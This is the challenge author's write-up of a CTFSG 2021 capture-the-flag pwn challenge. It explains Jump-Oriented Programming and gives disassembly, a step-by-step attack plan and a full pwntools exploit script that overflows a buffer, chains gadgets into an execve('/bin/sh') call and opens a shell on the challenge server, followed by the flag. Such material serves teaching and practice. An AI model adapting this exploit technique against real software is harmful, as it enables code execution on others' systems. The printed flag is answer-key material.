ViolentTestPen My CTF Writeups

CTFSG CTF 2021

Preamble

As CTF.SG CTF 2022 is happening this weekend, I thought it’d be as good a time as any to revisit some of the challenges that I’ve made for the 2021 run of the CTF.

Table of Contents

Pwn: Job Opportunities Portal

Ever since our Ministries got hacked, we have worked tirelessly to create new Task Forces to discover solutions to our cybersecurity woes. One such taskforce suggested that we should remove all `ret` instructions and libc dependencies so we don't have to worry about buffer overflows and ROPs! What a brilliant idea! Give this team a medal!

Download the challenge binary here.

This challenge was inspired by a NUS research paper on Jump-Oriented Programming: A New Class of Code-Reuse Attack. As its name implies, it is conceptually similar to Return-Oriented Programming albeit with a few key differences, one of which is that gadgets end with a JMP instruction instead of RET, thereby increasing the difficulty of forming a working JOP chain as compared to its ROP counterpart.

To work around this constraint, a few new concepts are introduced such as the dispatcher gadget to act as a pseudo stack pointer to traverse the gadgets and dispatch tables to act as a pseudo stack containing the JOP chain. Although this challenge made use of the stack specifically, you can also execute a JOP chain off the heap as well. More details on the dispatcher gadgets later in the writeup.

Since there is no libc for us to use, we have to construct the execve syscall to /bin/sh manually. This means that on top of the missing RET instruction constraints, we have to somehow sneak in a copy of the /bin/sh string in our payload to be referenced.

Analysing the Program

$ ./jop
Welcome to THE Job Offer Portal. Our ratings are so great that we have not come across a single user that has demanded an apology.
You have a pending job offer. What do you want to do?
1. Accept the Job
2. Submit Feedback
3. Exit
> 1
Your job offer have been accepted. Please wait 3-5 working days for the HR to get back to you.
You have a pending job offer. What do you want to do?
1. Accept the Job
2. Submit Feedback
3. Exit
> 2
Submit your feedback: My Feedback
Thank you for your feedback!
You have a pending job offer. What do you want to do?
1. Accept the Job
2. Submit Feedback
3. Exit
> 3
Have a nice day!

On the surface, options 1 and 3 does not seem useful to us. Option 2 allows us to send some user input which could be our buffer overflow entrypoint. Let’s analyse the program code using radare2.

[0x0040102c]> pdf
            ;-- rip:
/ 263: entry0 ();
<truncated for brevity>
|     :::   0x00401054      48be9c214000.  movabs rsi, section..bss    ; 0x40219c
|     :::   0x0040105e      ba10000000     mov edx, 0x10               ; 16
|     :::   0x00401063      e8f5000000     call fcn.0040115d
|     :::   0x00401068      803e31         cmp byte [rsi], 0x31
|    ,====< 0x0040106b      0f8ca9000000   jl 0x40111a
|   ,=====< 0x00401071      7429           je 0x40109c
|   ||:::   0x00401073      803e32         cmp byte [rsi], 0x32
|  ,======< 0x00401076      743a           je 0x4010b2
|  |||:::   0x00401078      803e33         cmp byte [rsi], 0x33
| ,=======< 0x0040107b      0f8480000000   je 0x401101
| ||||:::   0x00401081      803e34         cmp byte [rsi], 0x34
| ========< 0x00401084      0f8f90000000   jg 0x40111a
| ||||:::   0x0040108a      54             push rsp
| ||||:::   0x0040108b      54             push rsp
| ||||:::   0x0040108c      54             push rsp
| ||||:::   0x0040108d      5e             pop rsi
| ||||:::   0x0040108e      5c             pop rsp
| ||||:::   0x0040108f      5c             pop rsp
| ||||:::   0x00401090      ba08000000     mov edx, 8
| ||||:::   0x00401095      e8ad000000     call fcn.00401147
| ||||`===< 0x0040109a      eba4           jmp 0x401040
| |||| ::   ; CODE XREF from entry0 @ 0x401071
| ||`-----> 0x0040109c      48bee8204000.  movabs rsi, 0x4020e8        ; "Your job offer have been accepted. Please wait 3-5 working days for the HR to get back to you.\nHave a nice day!\nInvalid choice.\nSubmit your feedback: Thank you for your feedback!\n"
| || | ::   0x004010a6      ba5f000000     mov edx, 0x5f               ; '_' ; 95
| || | ::   0x004010ab      e897000000     call fcn.00401147
| || | `==< 0x004010b0      eb8e           jmp 0x401040
| || |  :   ; CODE XREF from entry0 @ 0x401076
| |`------> 0x004010b2      48be68214000.  movabs rsi, 0x402168        ; 'h!@' ; "Submit your feedback: Thank you for your feedback!\n"
| |  |  :   0x004010bc      ba16000000     mov edx, 0x16               ; 22
| |  |  :   0x004010c1      e881000000     call fcn.00401147
| |  |  :   0x004010c6      6840104000     push 0x401040
| |  |  :   0x004010cb      4881ec000100.  sub rsp, 0x100
| |  |  :   0x004010d2      4889e6         mov rsi, rsp
| |  |  :   0x004010d5      ba68010000     mov edx, 0x168              ; 360
| |  |  :   0x004010da      4831c0         xor rax, rax
| |  |  :   0x004010dd      4831ff         xor rdi, rdi
| |  |  :   0x004010e0      0f05           syscall
| |  |  :   0x004010e2      48be7e214000.  movabs rsi, 0x40217e        ; '~!@' ; "Thank you for your feedback!\n"
| |  |  :   0x004010ec      ba1d000000     mov edx, 0x1d               ; 29
| |  |  :   0x004010f1      e851000000     call fcn.00401147
| |  |  :   0x004010f6      4881c4080100.  add rsp, 0x108
| |  |  :   0x004010fd      ff6424f8       jmp qword [rsp - 8]
| |  |  :   ; CODE XREF from entry0 @ 0x40107b
| `-------> 0x00401101      48be47214000.  movabs rsi, 0x402147        ; 'G!@' ; "Have a nice day!\nInvalid choice.\nSubmit your feedback: Thank you for your feedback!\n"
|    |  :   0x0040110b      ba11000000     mov edx, 0x11               ; 17
|    |  :   0x00401110      e832000000     call fcn.00401147
|    |  :   0x00401115      e819000000     call fcn.00401133
|    |  :   ; CODE XREFS from entry0 @ 0x40106b, 0x401084
| ---`----> 0x0040111a      48be58214000.  movabs rsi, 0x402158        ; 'X!@' ; "Invalid choice.\nSubmit your feedback: Thank you for your feedback!\n"
|       :   0x00401124      ba10000000     mov edx, 0x10               ; 16
|       :   0x00401129      e819000000     call fcn.00401147
\       `=< 0x0040112e      e90dffffff     jmp 0x401040

At first glance, it may seem like a cesspool of assembly that we would prefer to not bleed our eyes with, we just need to note the conditional checks for the menu at 0x401068 (Option 1 which jumps to 0x40109c), 0x401073 (Option 2 which jumps to 0x4010b2), 0x401078 (Option 3 which jumps to 0x401101), and an undocumented option 4 at 0x401081. Upon choosing option 4, the follow instructions essentially leaks an address on the stack, which allow us to have somewhere to jump to after we perform the buffer overflow attack. Let’s run checksec on the binary to see if we can execute shellcode directly off the stack:

$ checksec jop
[*] '/jop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Thanks to the NX bit, we have no other choice but to execute a Jump-Oriented Programming attack. Here is a diagram from the research paper that highlights the differences between ROP and JOP:

ROP vs JOP

The dispatch table is a pseudo stack that can reside in the stack or heap as you are not reliant on the EIP/RIP register to visit the next gadget in the chain. Instead, a dispatcher gadget is used to advance the “program counter” to point to the next gadget to be ran. An auxiliary register that is unused by the program can be used to store the “program counter”. In short, here are the components we need to perform the attack:

  • A dispatcher gadget (to advance to the next gadget in the JOP chain; the dispatcher itself does not perform any chain-related actions)
  • A dispatch table containing the JOP chain
  • A gadget catalog (with its memory addresses known) containing functional gadgets (gadgets that perform similarly to those in a ROP chain)

Here is a diagram from the research paper that illustrates a typical JOP attack lifecycle:

JOP example

Path of Attack

With that out of the way, let us formulate the path of attack. Here are roughly the steps we need to take:

  1. Leak the stack base via a hidden option ‘4’. (You can discover this via a disassembler like IDA Pro or Ghidra)
  2. Perform a buffer overflow on the buffer, overwriting the RIP at the 256th position.
  3. Add your gadget catalog (In solve.py, there are 3: /bin/sh, add rsp, 0x8; jmp [rsp-0x8]; gadget, and 0x00.
  4. Point your RIP 24 bytes (3 gadgets that is 8 bytes each) after the RSP base which is right after the gadget catalog.
  5. Setup rcx and rdx to be your dispatch registers (Aka jmp2dispatch primitives) pointing to the add rsp, 0x8; jmp [rsp-0x8]; gadget.
  6. Setup the SYS_execve syscall by organising your payload like this:

    • Set rdi = &’/bin/sh’ (overwrites rdx)
    • Reset rdx back to the dispatch gadget
    • Set rsi = 0x00 (overwrites rcx)
    • Reset rcx back to the dispatch gadget
    • Set rax = SYS_execve (overwrites rdx)
    • Reset rdx back to the dispatch gadget
    • Perform the syscall to pwn

Exploit

#!/usr/bin/env python3

from pwn import *

elf = context.binary = ELF('./dist/jop')

if args.REMOTE:
    p = remote('chals.ctf.sg', 20101)
else:
    p = elf.process()

eip_offset = 256

xchg_rax_rdi_jmp_rax_1 =        0x401000  # xchg rax, rdi; jmp qword ptr [rax + 1];
xor_rax_rax_jmp_rdx =           0x40100a  # xor rax, rax; jmp qword ptr [rdx];
pop_rsp_rdi_rcx_rdx_jmp_rdx_1 = 0x40100f  # pop rsp; pop rdi; pop rcx; pop rdx; jmp qword ptr [rdi + 1];
mov_rsi_rcx_jmp_rdx =           0x40101b  # mov rsi, qword ptr [rcx + 0x10]; jmp qword ptr [rdx];
pop_rdx_jmp_rcx =               0x401021  # pop rdx; jmp qword ptr [rcx];
add_rax_rdx_jmp_rcx =           0x401024  # add rax, rdx; jmp qword ptr [rcx];
pop_rcx_jmp_rdx =               0x401029  # pop rcx; jmp qword ptr [rdx];
syscall =                       0x401163  # syscall;
ret =                           0x401165  # add rsp, 0x8; jmp [rsp-0x8];

# Leak the stack base
p.sendlineafter('> ', '4')
rsp = u64(p.recvn(8)) - 0x100
log.success(f"rsp @ {hex(rsp)}")

# Build dispatch table and setup initial dispatch registers
payload = b'/bin/sh\x00'                    # [0x00] (rsp base)
payload += p64(ret)                         # [0x08]
payload += p64(0x00)                        # [0x10]

payload += p64(rsp + context.bytes*1 - 0x1) # [0x18] (rdi)
payload += p64(rsp + context.bytes*1)       # [0x20] (rcx)
payload += p64(rsp + context.bytes*1)       # [0x28] (rdx)

# Set rdi = &'/bin/sh'                      (xor rax, rax; pop rdx; add rax, rdx; xchg rax, rdi; ret)
payload += p64(xor_rax_rax_jmp_rdx)         # [0x30]
payload += p64(pop_rdx_jmp_rcx)             # [0x38]
payload += p64(rsp)                         # [0x40]
payload += p64(add_rax_rdx_jmp_rcx)         # [0x48]
payload += p64(xchg_rax_rdi_jmp_rax_1)      # [0x50]

# Reset rdx
payload += p64(pop_rdx_jmp_rcx)             # [0x58]
payload += p64(rsp + context.bytes*1)       # [0x60]

# Set rsi = 0x00                            (pop rcx; mov rsi, [rcx+0x10]; ret)
payload += p64(pop_rcx_jmp_rdx)             # [0x68]
payload += p64(rsp + context.bytes*2)       # [0x70]
payload += p64(mov_rsi_rcx_jmp_rdx)         # [0x78]

# Reset rcx
payload += p64(pop_rcx_jmp_rdx)             # [0x80]
payload += p64(rsp + context.bytes*1)       # [0x88]

# Set rax = SYS_execve                      (xor rax, rax; pop rdx; add rax, rdx; ret)
payload += p64(xor_rax_rax_jmp_rdx)         # [0x90]
payload += p64(pop_rdx_jmp_rcx)             # [0x98]
payload += p64(constants.SYS_execve)        # [0xa0]
payload += p64(add_rax_rdx_jmp_rcx)         # [0xa8]

# Set rdx = 0x00 & Pwn                      (pop rdx; syscall)
payload += p64(pop_rdx_jmp_rcx)             # [0xb0]
payload += p64(0x00)                        # [0xb8]
payload += p64(syscall)                     # [0xc0]

p.sendlineafter('> ', '2')
p.sendlineafter(': ', flat({0: payload, eip_offset: pop_rsp_rdi_rcx_rdx_jmp_rdx_1}, rsp + context.bytes*3))
p.recvline()
p.interactive()

Here is an example of the exploit script in action:

JOP Pwn

Flag

CTFSG{3aT_5l33p_jMp_pWn_e3a35eed}